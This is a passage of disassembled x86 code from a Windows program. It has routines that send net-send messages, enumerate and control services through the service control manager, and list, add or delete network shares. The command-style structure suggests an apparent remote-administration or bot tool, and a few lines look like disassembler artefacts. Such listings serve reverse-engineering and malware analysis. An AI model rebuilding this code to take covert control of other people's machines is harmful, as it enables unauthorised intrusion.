loc_418E7C:				; CODE XREF: sub_418E3D+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_418E8E
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_418E93


loc_418E8E:				; CODE XREF: sub_418E3D+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_418E93:				; CODE XREF: sub_418E3D+27j
					; sub_418E3D+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ds:dword_4270B8	; LoadLibraryA
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		call	ds:dword_4270BC
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41DF04
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41DF04
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41DF04
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41DEE7
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi	; GetProcessHeap
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		call	near ptr 0B00000h
		push	edx
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_418E3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418F1D	proc near		; CODE XREF: sub_401135+F7p
					; sub_40123E+Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	ds:dword_4270A8	; GetTickCount
		push	eax
		call	sub_41BF88
		pop	ecx
		call	sub_41BF92
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	ds:dbl_427700
		call	sub_41CE38
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418F1D	endp


; =============== S U B	R O U T	I N E =======================================



sub_418F5A	proc near		; CODE XREF: seg000:loc_405FC9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_418FBF
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	ds:dword_440C50[esi]
		push	edi
		push	eax
		call	sub_418FE1
		add	esp, 14h
		test	eax, eax
		jnz	short loc_418FA2
		push	edi
		push	ds:off_440C4C[esi]
		mov	esi, offset dword_4E1270
		push	offset unk_440D60
		push	esi
		call	sub_41BF36
		add	esp, 10h
		jmp	short loc_418FDC
; ---------------------------------------------------------------------------


loc_418FA2:				; CODE XREF: sub_418F5A+2Aj
		push	eax
		call	sub_419083
		push	eax
		push	edi
		mov	esi, offset dword_4E1270
		push	offset unk_440D34
		push	esi
		call	sub_41BF36
		add	esp, 14h
		jmp	short loc_418FDC
; ---------------------------------------------------------------------------


loc_418FBF:				; CODE XREF: sub_418F5A+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4E1270
		push	ds:off_440C48[eax*4]
		push	offset unk_440D10
		push	esi
		call	sub_41BF36
		add	esp, 0Ch


loc_418FDC:				; CODE XREF: sub_418F5A+46j
					; sub_418F5A+63j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_418F5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418FE1	proc near		; CODE XREF: sub_418F5A+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	ds:dword_4D11E4
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_419008
		call	ds:dword_42708C	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_41907D
; ---------------------------------------------------------------------------


loc_419008:				; CODE XREF: sub_418FE1+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	ds:dword_4D10CC
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_419028
		call	ds:dword_42708C	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_419075
; ---------------------------------------------------------------------------


loc_419028:				; CODE XREF: sub_418FE1+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_41905B
		cmp	eax, 3
		jz	short loc_41904C
		jle	short loc_41906E
		cmp	eax, 6
		jg	short loc_41906E
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	ds:dword_4D1138
		jmp	short loc_419062
; ---------------------------------------------------------------------------


loc_41904C:				; CODE XREF: sub_418FE1+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	ds:dword_4D10D4
		jmp	short loc_419062
; ---------------------------------------------------------------------------


loc_41905B:				; CODE XREF: sub_418FE1+4Dj
		push	esi
		call	ds:dword_4D113C


loc_419062:				; CODE XREF: sub_418FE1+69j
					; sub_418FE1+78j
		test	eax, eax
		jnz	short loc_41906E
		call	ds:dword_42708C	; RtlGetLastWin32Error
		mov	ebx, eax


loc_41906E:				; CODE XREF: sub_418FE1+54j
					; sub_418FE1+59j ...
		push	esi
		call	ds:dword_4D10E8


loc_419075:				; CODE XREF: sub_418FE1+45j
		push	edi
		call	ds:dword_4D10E8
		pop	esi


loc_41907D:				; CODE XREF: sub_418FE1+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_418FE1	endp


; =============== S U B	R O U T	I N E =======================================



sub_419083	proc near		; CODE XREF: sub_418F5A+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_419138
		jz	loc_419131
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_4190FB
		jz	short loc_4190F1
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_4190E7
		dec	ecx
		dec	ecx
		jz	short loc_4190DD
		dec	ecx
		jz	short loc_4190D3
		sub	ecx, 51h
		jz	short loc_4190C9
		sub	ecx, 24h
		jnz	loc_4191AE	; default
					; jumptable 00419155 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_4191A0
; ---------------------------------------------------------------------------


loc_4190C9:				; CODE XREF: sub_419083+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_4191A0
; ---------------------------------------------------------------------------


loc_4190D3:				; CODE XREF: sub_419083+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_4191A0
; ---------------------------------------------------------------------------


loc_4190DD:				; CODE XREF: sub_419083+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_4191A0
; ---------------------------------------------------------------------------


loc_4190E7:				; CODE XREF: sub_419083+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_4191A0
; ---------------------------------------------------------------------------


loc_4190F1:				; CODE XREF: sub_419083+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_4191A0
; ---------------------------------------------------------------------------


loc_4190FB:				; CODE XREF: sub_419083+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_41912A
		dec	ecx
		jz	short loc_419123
		dec	ecx
		jz	short loc_41911C
		dec	ecx
		jnz	loc_4191AE	; default
					; jumptable 00419155 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_4191A0
; ---------------------------------------------------------------------------


loc_41911C:				; CODE XREF: sub_419083+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_4191A0
; ---------------------------------------------------------------------------


loc_419123:				; CODE XREF: sub_419083+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_4191A0
; ---------------------------------------------------------------------------


loc_41912A:				; CODE XREF: sub_419083+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_4191A0
; ---------------------------------------------------------------------------


loc_419131:				; CODE XREF: sub_419083+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_4191A0
; ---------------------------------------------------------------------------


loc_419138:				; CODE XREF: sub_419083+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_4191AE ; default
					; jumptable 00419155 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_41919B
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_4191AE ; default
					; jumptable 00419155 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, ds:byte_4191EF[ecx]
		jmp	ds:off_4191C7[ecx*4] ; switch jump


loc_41915C:				; DATA XREF: seg000:off_4191C7o
		push	offset aTheSpecifiedDa ; jumptable 00419155 case 7
		jmp	short loc_4191A0
; ---------------------------------------------------------------------------


loc_419163:				; CODE XREF: sub_419083+D2j
					; DATA XREF: seg000:off_4191C7o
		push	offset aTheServiceDepe ; jumptable 00419155 case 17
		jmp	short loc_4191A0
; ---------------------------------------------------------------------------


loc_41916A:				; CODE XREF: sub_419083+D2j
					; DATA XREF: seg000:off_4191C7o
		push	offset aTheServiceDe_0 ; jumptable 00419155 case 10
		jmp	short loc_4191A0
; ---------------------------------------------------------------------------


loc_419171:				; CODE XREF: sub_419083+D2j
					; DATA XREF: seg000:off_4191C7o
		push	offset aTheServiceHasB ; jumptable 00419155 case 0
		jmp	short loc_4191A0
; ---------------------------------------------------------------------------


loc_419178:				; CODE XREF: sub_419083+D2j
					; DATA XREF: seg000:off_4191C7o
		push	offset aTheSpecified_0 ; jumptable 00419155 case 2
		jmp	short loc_4191A0
; ---------------------------------------------------------------------------


loc_41917F:				; CODE XREF: sub_419083+D2j
					; DATA XREF: seg000:off_4191C7o
		push	offset aTheServiceCoul ; jumptable 00419155 case 11
		jmp	short loc_4191A0
; ---------------------------------------------------------------------------


loc_419186:				; CODE XREF: sub_419083+D2j
					; DATA XREF: seg000:off_4191C7o
		push	offset aTheServiceHa_0 ; jumptable 00419155 case 14
		jmp	short loc_4191A0
; ---------------------------------------------------------------------------


loc_41918D:				; CODE XREF: sub_419083+D2j
					; DATA XREF: seg000:off_4191C7o
		push	offset aTheRequested_1 ; jumptable 00419155 case 3
		jmp	short loc_4191A0
; ---------------------------------------------------------------------------


loc_419194:				; CODE XREF: sub_419083+D2j
					; DATA XREF: seg000:off_4191C7o
		push	offset aTheServiceHasN ; jumptable 00419155 case 4
		jmp	short loc_4191A0
; ---------------------------------------------------------------------------


loc_41919B:				; CODE XREF: sub_419083+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_4191A0:				; CODE XREF: sub_419083+41j
					; sub_419083+4Bj ...
		push	offset dword_4E0BB0
		call	sub_41BF36
		pop	ecx
		pop	ecx
		jmp	short loc_4191C1
; ---------------------------------------------------------------------------


loc_4191AE:				; CODE XREF: sub_419083+36j
					; sub_419083+89j ...
		push	eax		; default
					; jumptable 00419155 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4E0BB0
		call	sub_41BF36
		add	esp, 0Ch


loc_4191C1:				; CODE XREF: sub_419083+129j
		mov	eax, offset dword_4E0BB0
		retn
sub_419083	endp

; ---------------------------------------------------------------------------
off_4191C7	dd offset loc_419171	; DATA XREF: sub_419083+D2r
		dd offset loc_419178	; jump table for switch	statement
		dd offset loc_41918D
		dd offset loc_419194
		dd offset loc_41915C
		dd offset loc_41916A
		dd offset loc_41917F
		dd offset loc_419186
		dd offset loc_419163
		dd offset loc_4191AE
byte_4191EF	db	0,     9,     1,     2 ; DATA XREF: sub_419083+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419201	proc near		; CODE XREF: seg000:00405FF4p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	ds:dword_4D11E4
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 14h


loc_419239:				; CODE XREF: sub_419201+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	ds:dword_4D11B0
		test	eax, eax
		jnz	short loc_419273
		call	ds:dword_42708C	; RtlGetLastWin32Error
		cmp	eax, 0EAh
		jnz	loc_419327


loc_419273:				; CODE XREF: sub_419201+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_41931E
		lea	esi, [ebp+var_188]


loc_419284:				; CODE XREF: sub_419201+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_4192CD
		dec	eax
		jz	short loc_4192C6
		dec	eax
		jz	short loc_4192BF
		dec	eax
		jz	short loc_4192B8
		dec	eax
		jz	short loc_4192B1
		dec	eax
		jz	short loc_4192AA
		dec	eax
		jz	short loc_4192A3
		push	offset aUnknown_1 ; "	 Unknown"
		jmp	short loc_4192D2
; ---------------------------------------------------------------------------


loc_4192A3:				; CODE XREF: sub_419201+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_4192D2
; ---------------------------------------------------------------------------


loc_4192AA:				; CODE XREF: sub_419201+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_4192D2
; ---------------------------------------------------------------------------


loc_4192B1:				; CODE XREF: sub_419201+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_4192D2
; ---------------------------------------------------------------------------


loc_4192B8:				; CODE XREF: sub_419201+90j
		push	offset aRunning_0 ; "	 Running"
		jmp	short loc_4192D2
; ---------------------------------------------------------------------------


loc_4192BF:				; CODE XREF: sub_419201+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_4192D2
; ---------------------------------------------------------------------------


loc_4192C6:				; CODE XREF: sub_419201+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_4192D2
; ---------------------------------------------------------------------------


loc_4192CD:				; CODE XREF: sub_419201+87j
		push	offset aStopped	; "    Stopped"


loc_4192D2:				; CODE XREF: sub_419201+A0j
					; sub_419201+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41BF36
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_419284


loc_41931E:				; CODE XREF: sub_419201+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_419239


loc_419327:				; CODE XREF: sub_419201+6Cj
		push	[ebp+var_C]
		call	ds:dword_4D10E8
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_419201	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41933E	proc near		; CODE XREF: seg000:loc_4060B0p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_4193D7
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_419367
		dec	eax
		jnz	short loc_4193B7
		push	edi
		push	0
		call	sub_419510
		pop	ecx
		pop	ecx
		jmp	short loc_4193B3
; ---------------------------------------------------------------------------


loc_419367:				; CODE XREF: sub_41933E+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_4193A5
		push	24h
		push	edi
		call	sub_41C650
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4193A5
		push	57h
		pop	eax


loc_41937E:				; CODE XREF: sub_41933E+77j
		push	eax
		call	sub_419CE8
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4E0E6C
		push	ds:off_440C48[eax*4]
		push	offset unk_4412F4
		push	esi
		call	sub_41BF36
		add	esp, 18h
		jmp	short loc_4193F7
; ---------------------------------------------------------------------------


loc_4193A5:				; CODE XREF: sub_41933E+2Dj
					; sub_41933E+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_419464
		add	esp, 0Ch


loc_4193B3:				; CODE XREF: sub_41933E+27j
		test	eax, eax
		jnz	short loc_41937E


loc_4193B7:				; CODE XREF: sub_41933E+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4E0E6C
		push	ds:off_440C4C[eax*4]
		push	offset dword_4412D8
		push	esi
		call	sub_41BF36
		add	esp, 10h
		jmp	short loc_4193F7
; ---------------------------------------------------------------------------


loc_4193D7:				; CODE XREF: sub_41933E+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4E0E6C
		lea	eax, [eax+eax*2]
		push	ds:off_440C48[eax*4]
		push	offset unk_4412B4
		push	esi
		call	sub_41BF36
		add	esp, 0Ch


loc_4193F7:				; CODE XREF: sub_41933E+65j
					; sub_41933E+97j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41933E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4193FD	proc near		; CODE XREF: sub_41A702+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_41940A
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41940A:				; CODE XREF: sub_4193FD+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, ds:dword_427180
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi ; dword_427180
		test	ds:byte_4E106C,	1
		mov	ebp, eax
		jnz	short loc_419447
		or	ds:byte_4E106C,	1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41D665
		pop	ecx
		mov	ds:dword_4E0E0C, eax


loc_419447:				; CODE XREF: sub_4193FD+32j
		push	esi
		push	esi
		push	ebp
		push	ds:dword_4E0E0C
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi ; dword_427180
		mov	eax, ds:dword_4E0E0C
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_4193FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419464	proc near		; CODE XREF: sub_41933E+6Dp
					; sub_41AA26+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_4194CF
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_4194CF
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41C650
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_4194CF
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	ds:dword_4D10E4
		pop	edi
		leave
		retn
sub_419464	endp


; =============== S U B	R O U T	I N E =======================================



sub_4194CF	proc near		; CODE XREF: sub_419464+Ap
					; sub_419464+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_4194DC
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4194DC:				; CODE XREF: sub_4194CF+9j
		push	ebx
		push	esi
		mov	esi, ds:dword_427184
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi ; dword_427184
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41D665
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi ; dword_427184
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4194CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_419510	proc near		; CODE XREF: sub_41933E+20p
					; sub_41A702+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_4194CF
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_4194CF
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	ds:dword_4D10BC
		pop	esi
		retn
sub_419510	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419533	proc near		; CODE XREF: seg000:004060DCp

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_4194CF
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 18h


loc_41956C:				; CODE XREF: sub_419533+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	ds:dword_4D1134
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_4195CF
		cmp	ebx, 0EAh
		jz	short loc_4195CF
		push	ebx
		push	ebx
		call	sub_419CE8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_441340
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 24h
		jmp	short loc_41963C
; ---------------------------------------------------------------------------


loc_4195CF:				; CODE XREF: sub_419533+5Dj
					; sub_419533+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_419633
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_4195DD:				; CODE XREF: sub_419533+FCj
		push	dword ptr [esi+10h]
		call	ds:dword_4D10D8
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_4195F4
		mov	eax, offset aNo	; "No"


loc_4195F4:				; CODE XREF: sub_419533+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41BF36
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_4195DD
		xor	esi, esi


loc_419633:				; CODE XREF: sub_419533+A2j
		push	[ebp+var_4]
		call	ds:dword_4D1280


loc_41963C:				; CODE XREF: sub_419533+9Aj
		cmp	ebx, 0EAh
		jz	loc_41956C
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_419533	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419654	proc near		; CODE XREF: seg000:loc_406151p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_4196F8
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_419696
		dec	eax
		jz	short loc_41968B
		dec	eax
		jnz	short loc_4196B1
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_41979A
		add	esp, 14h
		jmp	short loc_4196AD
; ---------------------------------------------------------------------------


loc_41968B:				; CODE XREF: sub_419654+1Dj
		push	ebx
		push	edi
		call	sub_419779
		pop	ecx
		pop	ecx
		jmp	short loc_4196AD
; ---------------------------------------------------------------------------


loc_419696:				; CODE XREF: sub_419654+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_4196AA
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_41971F
		add	esp, 0Ch
		jmp	short loc_4196AD
; ---------------------------------------------------------------------------


loc_4196AA:				; CODE XREF: sub_419654+45j
		push	57h
		pop	eax


loc_4196AD:				; CODE XREF: sub_419654+35j
					; sub_419654+40j ...
		cmp	eax, edi
		jnz	short loc_4196D1


loc_4196B1:				; CODE XREF: sub_419654+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4E1070
		push	ds:off_440C4C[eax*4]
		push	offset unk_4413F8
		push	esi
		call	sub_41BF36
		add	esp, 10h
		jmp	short loc_419718
; ---------------------------------------------------------------------------


loc_4196D1:				; CODE XREF: sub_419654+5Bj
		push	eax
		call	sub_419CE8
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4E1070
		push	ds:off_440C48[eax*4]
		push	offset unk_4413C8
		push	esi
		call	sub_41BF36
		add	esp, 18h
		jmp	short loc_419718
; ---------------------------------------------------------------------------


loc_4196F8:				; CODE XREF: sub_419654+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4E1070
		lea	eax, [eax+eax*2]
		push	ds:off_440C48[eax*4]
		push	offset unk_4413A0
		push	esi
		call	sub_41BF36
		add	esp, 0Ch


loc_419718:				; CODE XREF: sub_419654+7Bj
					; sub_419654+A2j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419654	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41971F	proc near		; CODE XREF: sub_419654+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_4194CF
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_4194CF
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_4194CF
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	ds:dword_4D10C8
		pop	edi
